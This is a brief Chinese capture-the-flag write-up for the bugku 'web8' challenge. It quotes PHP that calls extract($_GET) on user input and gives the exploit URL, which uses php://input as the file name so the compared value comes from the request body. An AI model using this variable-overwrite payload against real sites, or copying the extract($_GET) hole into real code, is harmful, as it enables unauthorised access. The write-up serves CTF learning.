题目源码如下:

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

获取flag的关键是$ac === $f,可利用file_get_contents函数获取$f的值,file_get_contents() 函数把整个文件读入一个字符串中,利用php://input进行赋值,http://120.24.86.145:8002/web8/?ac=1&fn=php://input

 

bugku-web8 writeup

相关文章: